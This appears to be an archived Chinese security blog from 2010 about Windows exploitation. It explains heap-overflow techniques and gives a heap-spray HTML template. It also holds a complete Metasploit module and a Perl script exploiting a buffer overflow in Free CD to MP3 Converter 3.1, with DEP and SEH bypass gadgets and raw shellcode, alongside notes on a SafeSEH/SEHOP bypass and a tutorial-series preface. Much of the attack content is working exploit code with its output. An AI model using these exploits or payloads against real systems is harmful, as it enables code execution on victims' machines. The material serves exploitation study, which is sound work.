    77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]    ;UnhandledExceptionFilter指针
    77E93119   3BC6             CMP EAX,ESI
    77E9311B   74 15            JE SHORT kernel32.77E93132
    77E9311D   57               PUSH EDI
    77E9311E   FFD0             CALL EAX

    现在我们只需找到shellcode地址,或者看是否有某一寄存器reg刚好指向shellcode或其附近,然后用shellcode地址或者类似call [reg + offset]的指令地址来覆盖UnhandledExceptionFilter指针,比较常用的指令如:

    call dword ptr ds:[edi+74]
    call dword ptr ds:[esi+4c]

    其它eax,ebx也有可能指向堆,亦可作为跳板来用。

    三、利用PEB

    由于当UEF被调用后,它最终会调用ExitProcess()来结束程序,而它在清理现场时需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通过存放在PEB中的一对指针来调用这两个函数的,如果能够利用DWORD SHOOT把这对指针篡改成shellcode入口地址,那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的情况:

    0:000> dt _PEB
    ntdll!_PEB
       +0x000 InheritedAddressSpace : UChar
       +0x001 ReadImageFileExecOptions : UChar
       +0x002 BeingDebugged    : UChar
       +0x003 SpareBool        : UChar
       +0x004 Mutant           : Ptr32 Void
       +0x008 ImageBaseAddress : Ptr32 Void
       +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
       +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
       +0x014 SubSystemData    : Ptr32 Void
       +0x018 ProcessHeap      : Ptr32 Void
       +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION    //根据此指针来间接进入临界区
       +0x020 FastPebLockRoutine : Ptr32 Void
       +0x024 FastPebUnlockRoutine : Ptr32 Void
       +0x028 EnvironmentUpdateCount : Uint4B
       ……

    但在WinXP SP2之后微软就加入了PEB random保护,不再使用固定的PEB基址,而使用具有一定随机性的PEB基址,以提高利用的难度。

    四、Heap Spary

    Heap Spary技术最早是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要作为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,因此只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就可以执行shellcode,这些堆块可以用NOP + shellcode 来填充,每块堆构造1M大小即可,当然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:

    <html>
    <body>
    <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
    <script>

    Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";

    var nop="\u9090\u9090";
    while (nop.length <= 0x100000/2)
    {
        nop+=nop;
    }
    nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
    var slide = new Array();
    for ( var i=0; i<200; i++)
    {
        slide[i] = nop + shellcode;
    }

    var s= '';
    while (s.length < 748)
    {
        s+="\x0c";
    }
    target.Overflow(s);

    </script>
    </body>
    </html>

    五、Bitmap Flipping Attack

    在 Heap Management 结构中包含有Freelist Bitmap标志位,它是一个4字节的DWORD值,当对应的FreeList[n]被填充时,bitmap就将被设置。当请求分配堆块时,它会先搜索与之大小合适的FreeList[n],然后检测对应的bitmap,若上面为0就表示上面是块未使用的空闲块,则对应的FreeList[n]将用于分配配块,接着返回到对应的请求块FreeList[n]指向的地址。因此如果我们可以控制Bitmap,并能够覆盖freelist[n]中的值,那么我们就可以通过它来执行任意代码。更多信息可参见Ruxcon 2008大会上面的文章《Heaps About Heaps》

    六、Heap Cache Attack

    Heap Cache主要用于降低频繁遍历FreeList[0]的性能消耗,以提高性能。它主要是为FreeList[0]中的堆块创建扩展索引,更重要的是,Heap Manager并没有将任何空闲块移动缓存中,这些空闲块一直保存在FreeList[0]中,但缓存中保存着一些指针,它们指向FreeList[0]中的某些节点,以此来提升访问FreeList[0]的速度。堆缓存是一个bucket数组,每一个bucket包含有intptr_t字节用于存储大小,还有一个NULL指针或者FreeList[0]上的堆块指针。默认情况下,数组包括有896个bucket,其大小在1024和8192之间,但大小是可配置的,我们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各种利用方式,比如De-synchronization Attack(通过覆写堆块头信息中的大小域,使每次请求同等大小堆块时都指向同一块已经使用的内存块,如果攻击者可能控制这一内存块中的内容,就有可能导致任意代码执行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性,在实际运用上很难派上用场,若想获取更多关于这方面的信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。

    七、Bitmap XOR Attack

    Bitmap XOR Attack 是通过异或操作来更改 freelist bitmap,如果系统尝试清除这一错误的标志位,那么就可能从一个空闲位(free bit)切换到设置位(set bit),进而实现类似上文提到的bitmap attack。这个可以通过篡改堆块头信息中的大小域(CurSize),使其小于0x80,接着再使对应堆块中的前向指向与后向指针相等(flink == blink),并保证其指向的地址是可读的。更多信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大,权当了解,学习思路更为重要。

  • 源码:

    1. require 'msf/core'
    2. class Metasploit3 < Msf::Exploit::Remote
    3.     Rank = GoodRanking
    4.  
    5.     include Msf::Exploit::FILEFORMAT
    6.    
    7.     def initialize(info = {})
    8.         super(update_info(info,
    9.             'Name'        => 'Free CD to MP3 Converter 3.1 Buffer Overflow',
    10.             'Description'    => %q{
    11.                 This module exploits a buffer overflow in Free CD to MP3 Converter
    12.  
    13. v3.1.
    14.                 When the application is used to import a specially crafted wav file,
    15.                 a buffer overflow occurs allowing arbitrary code execution.
    16.             },
    17.             'License'    => MSF_LICENSE,
    18.             'Author'    =>
    19.                 [
    20.                     'Original Exploit:  C4SS!0 G0M3S',  
    21.                     'MSF Module      :  riusksk'  
    22.                 ],
    23.             'Version'    => '$Revision: 1.0 $',
    24.             'DefaultOptions'=>
    25.                 {
    26.                     'EXITFUNC' => 'process',
    27.                 },
    28.             'Payload'    =>
    29.                 {
    30.                     'Space'        => 500,
    31.                     'BadChars'    => "x00"
    32.                 },
    33.             'Platform'    => 'win',
    34.             'Targets'    =>
    35.                 [
    36.                     [ 'Windows XP SP3 CN', {'Ret' => 0x00409F8C } ]        # pop
    37.  
    38. pop ret
    39.                 ],
    40.             'DefaultTarget' => 0,
    41.             'Privileged'    => false,
    42.             'DisclosureDate'=> 'Nov 24 2010'
    43.         ))
    44.  
    45.         register_options(
    46.             [
    47.                 OptString.new('FILENAME', [ false, 'The file name.', 'exploit.wav']),
    48.             ], self.class)
    49.     end
    50.  
    51.     def exploit
    52.         sploit = make_nops(4156)
    53.         sploit << "xEBx06x90x90"
    54.         sploit << [target.ret].pack('V')
    55.         sploit << make_nops(5)
    56.         sploit << payload.encoded
    57.  
    58.         print_status("Creating '#{datastore['FILENAME']}' file ...")
    59.  
    60.         file_create(sploit)
    61.     end
    62. end


    测试结果:
    msf exploit(test) > info

           Name: Free CD to MP3 Converter 3.1 Buffer Overflow
        Version: 1.0
       Platform: Windows
     Privileged: No
        License: Metasploit Framework License (BSD)
           Rank: Good

    Provided by:
      Original Exploit:  C4SS!0 G0M3S
      MSF Module      :  riusksk

    Available targets:
      Id  Name
      --  ----
      0   Windows XP SP3 CN

    Basic options:
      Name        Current Setting      Required  Description
      ----        ---------------      --------  -----------
      FILENAME    exploit.wav          no        The file name.
      OUTPUTPATH  /msf3/data/exploits  yes       The location of the file.

    Payload information:
      Space: 500
      Avoid: 1 characters

    Description:
      This module exploits a buffer overflow in Free CD to MP3 Converter
      v3.1. When the application is used to import a specially crafted wav
      file, a buffer overflow occurs allowing arbitrary code execution.

    msf exploit(test) > show options

    Module options:

       Name        Current Setting      Required  Description
       ----        ---------------      --------  -----------
       FILENAME    exploit.wav          no        The file name.
       OUTPUTPATH  /msf3/data/exploits  yes       The location of the file.


    Exploit target:

       Id  Name
       --  ----
       0   Windows XP SP3 CN


    msf exploit(test) > set payload windows/exec
    payload => windows/exec
    msf exploit(test) > set cmd calc
    cmd => calc
    msf exploit(test) > exploit

    [*] Creating 'exploit.wav' file ...
    [*] Generated output file /msf3/data/exploits/exploit.wav
    [*] Exploit completed, but no session was created.

    用漏洞软件打开创建的exploit.wav后:

  • 原文出处:http://www.exploit-db.com/exploits/15586/

    # Exploit Title:Free CD to MP3 Converter 3.1 Buffer Overflow Exploit (Bypass DEP + SEH)
    # Origianl exploit by C4SS!0 G0M3S:http://www.exploit-db.com/exploits/15483/
    # Modified by riusksk(http://riusksk.blogbus.com )
    # Test on Windows XP SP3 CN
    # Data:2010/11/20

    #!/usr/bin/perl
    my $junk1 = 'A' x 4112 ;

    my $disabledep = "\x68\xdc\xec\x77" ;        # 0x77ecdc68 - push esp,pop ebp,ret 4,adjust ebp
    $disabledep = $disabledep . "\xea\x18\x97\x7c" ;     # 0x7c9718ea - set eax to 1   
    $disabledep = $disabledep . "\xff\xff\xff\xff" ;    # balance the stack
    $disabledep = $disabledep . "\x24\xcd\x93\x7c" ;    # 0x7c93cd24 - run NX Disable routine
    $disabledep = $disabledep . "\xff\xff\xff\xff" ;    # balance the stack

    my $junk2 = 'B' x 24 ;               

    my $nseh = "\x90\x90\xeb\x06" ;     # jmp 06
    my $seh = "\x80\x14\x40\x00" ;    # pop pop ret, no safeseh
    my $nops = "\x90\x90" ;      
    my $shellcode =
    "\xb8\xc7\xae\x8e\xae\xd9\xc7\x33\xc9\xb1\x31\xd9\x74\x24" .
    "\xf4\x5b\x31\x43\x14\x83\xeb\xfc\x03\x43\x10\x25\x5b\x72" .
    "\x46\x20\xa4\x8b\x97\x52\x2c\x6e\xa6\x40\x4a\xfa\x9b\x54" .
    "\x18\xae\x17\x1f\x4c\x5b\xa3\x6d\x59\x6c\x04\xdb\xbf\x43" .
    "\x95\xea\x7f\x0f\x55\x6d\xfc\x52\x8a\x4d\x3d\x9d\xdf\x8c" .
    "\x7a\xc0\x10\xdc\xd3\x8e\x83\xf0\x50\xd2\x1f\xf1\xb6\x58" .
    "\x1f\x89\xb3\x9f\xd4\x23\xbd\xcf\x45\x38\xf5\xf7\xee\x66" .
    "\x26\x09\x22\x75\x1a\x40\x4f\x4d\xe8\x53\x99\x9c\x11\x62" .
    "\xe5\x72\x2c\x4a\xe8\x8b\x68\x6d\x13\xfe\x82\x8d\xae\xf8" .
    "\x50\xef\x74\x8d\x44\x57\xfe\x35\xad\x69\xd3\xa3\x26\x65" .
    "\x98\xa0\x61\x6a\x1f\x65\x1a\x96\x94\x88\xcd\x1e\xee\xae" .
    "\xc9\x7b\xb4\xcf\x48\x26\x1b\xf0\x8b\x8e\xc4\x54\xc7\x3d" .
    "\x10\xee\x8a\x2b\xe7\x63\xb1\x15\xe7\x7b\xba\x35\x80\x4a" .
    "\x31\xda\xd7\x53\x90\x9e\x26\xa5\x29\x0b\xbe\x1f\xd8\x76" .
    "\xa2\xa0\x36\xb4\xdb\x22\xb3\x45\x18\x3a\xb6\x40\x64\xfd" .
    "\x2a\x39\xf5\x6b\x4d\xee\xf6\xbe\x3e\x78\x09" ;

    open ($fp , ">test.wav" );
    print $fp $junk1 . $disabledep . $junk2 . $nseh . $seh . $nops . $shellcode ;
    close $fp ;

     

    测试结果:

  • SEH all-at-once attack

    日期:2010-10-30 | 分类:软件漏洞

    最近在exploit-db上还提出了另一种同时绕过safeseh和SEHOP的方法:
    SEH all-at-once attack: http://www.exploit-db.com/exploits/15184/

    以下是我个人的一点理解,不知是否正确,如有误,希望大牛指正:

    (1)首先利用_except_handler3()函数地址覆盖SEH Handle,而next seh则保持原值不变(主要用于绕过sehop),_except_handler3函数原型如下:

    int _except_handler3(
       PEXCEPTION_RECORD exception_record,
       PEXCEPTION_REGISTRATION registration,
       PCONTEXT context,
       PEXCEPTION_REGISTRATION dispatcher
    );

    (2)而在被覆盖的SEH之后,两个DWORD值分别代表着:scopetable数组指针和trylevel。当触发异常 后,_except_handler3()就会开始在堆栈上创建了一个EXCEPTION_POINTERS结构,并用它的两个参数来对这个结构进行初始 化。接着,__except_handler3从EXCEPTION_REGISTRATION 帧中获取当前的trylevel,即 scopetable数组的索引。每个scopetable元素结构如下:

    typedef struct _SCOPETABLE
    {
        DWORD previousTryLevel;  // 前一个trylevel值
        DWORD lpfnFilter;    // 过滤函数地址
        DWORD lpfnHandler;    // 异常处理函数,即相应的_except块地址
    } SCOPETABLE, *PSCOPETABLE; 

    因此我们可以通过这两个值来定位到shellcode,使其执行_except_handler3函数后会去调用shellcode。此时我们可以这样构造这两个值:

    &shellcode = &scopetable + 0x0C * trylevel(最后一个SCOPETABLE结构的索引值) + 0x8

    相当于最后一个SCOPETABLE结构中的异常处理函数地址用shellcode地址去覆盖它。另外 MSVBVM60!CreateIExprSrvObj+??( x90c )中有着与_except_handler3相同的代码,因此也可用 MSVBVM60!CreateIExprSrvObj+??来代替_except_handler3。

    文中的那些数据结构是通过网络搜索获得了,我在MSDN2008中未找到相关的资料,而原作者在文档中也未细述,因此以上内容仅为个人理解,希望知道内幕的朋友可以出来曝料一下!

  • Exploit 编写系列教程 1-10合集

    日期:2010-10-27 | 分类:软件漏洞

    目录

    译序..........................................................................2
    Exploit 编写系列教程第一篇:栈溢出............................................3
    Exploit 编写系列教程第二篇:跳至ShellCode.....................................25
    Exploit 编写系列教程第三篇a:基于SEH的Exploit.................................54
    Exploit 编写系列教程第三篇b:基于SEH的Exploit—又一个实例.....................77
    Exploit 编写系列教程第四篇:编写Metasploit Exploit............................83
    Exploit 编写系列教程第五篇:利用调试器模块及插件加速exploit开发...............94
    Exploit 编写系列教程第六篇:绕过Cookie,SafeSeh,HW DEP 和ASLR..................126
    Exploit 编写系列教程第七篇:编写Unicode Exploit...............................218
    Exploit 编写系列教程第八篇:Win32 Egg Hunting.................................256
    Exploit 编写系列教程第九篇:Win32 Shellcode编写入门...........................316
    Exploit 编写系列教程第十篇:利用ROP绕过DEP....................................432
    附录A:对《基于栈的溢出》一文的补充...........................................509
    附录B:对《编写unicode exploit》一文的补充....................................511

    译序

    经过众兄弟十个多月来的努力,终于将此专题翻译完成。其实本专题是否已经结束,我也曾就此问过作者,但他也不确实;另外又问了他是否会写关于堆溢出的文 章,他说堆溢出相对复杂多了,目前不会写,但以后可能会。纵观此系列教程,文中已经揽括当前大部分栈溢出利用技术,并针对各种windows安全机制讲述 了各种绕过方式,是本人目前见过关于栈溢出方面最为完整,最为全面的教程,很佩服作者的这种共享精神,这也正是国内所缺乏的。随着明年《0day安全:软 件漏洞分析技术》第2版的出版,也就渐渐地弥补了当前国内关于深入windows溢出书籍的空缺,之前的《网络渗透技术》是国内第一本溢出书籍,但涉及平 台过,而且年代久远,一些新兴技术未能概述其中,新书的出版也正弥补了这一点。这套教程对于windows平台上的栈溢出讲述得相当详细,在翻译过程中都 让人觉得有点厌烦,同时也由此可见作者是相当的有耐性!对于广大溢出初学者或者刚入门的朋友,确实是套不错的教程,在此也给阅读本教程的朋友一个建议:纸 上得来终觉浅,绝知此事要躬行!在制作本电子书的过程中,曾本想叫原作者perter为此写个前言,但他说怕侵犯到版权问题,必须确保没有人利用此教程获 取经济利益,并说需要时间让他考虑,可能几天甚至几周,因此提前发布本教程。如果后面原作者答应为此写上前言,我会再补充上去并发到论坛上的。最近特别感 谢cntrump兄弟对本专题进行整理并制作成电子书,同时感谢看雪上诸位参与翻译的兄弟,没有他们就没有本专题的出现,但究于各位译者水平有限,文中难 免有误(也确实存在不少问题),望见谅。另外由于译文是由各位译者直接发在论坛上,本人并没有进一步检查并统一文章格式,因此文中存在不少表达错误,图片 不够清晰,甚至各译文的格式也是差异甚多,究于时间关系未能一一纠正,请大家多多海涵!除本人之外,其他参与本专题翻译的各位兄弟分别如下(按翻译先后排 列):moonife、dge、秋风寒、dragonltx,翻译的过程是辛苦的,感谢各位兄弟的无私奉献,同时献诗一首以共勉:

    尘世须臾堪几何,勿令逝者付东流。
    年少可学须勤学,莫待白首空叹息。


    riusksk(泉哥)
    2010/10/24夜记于厦门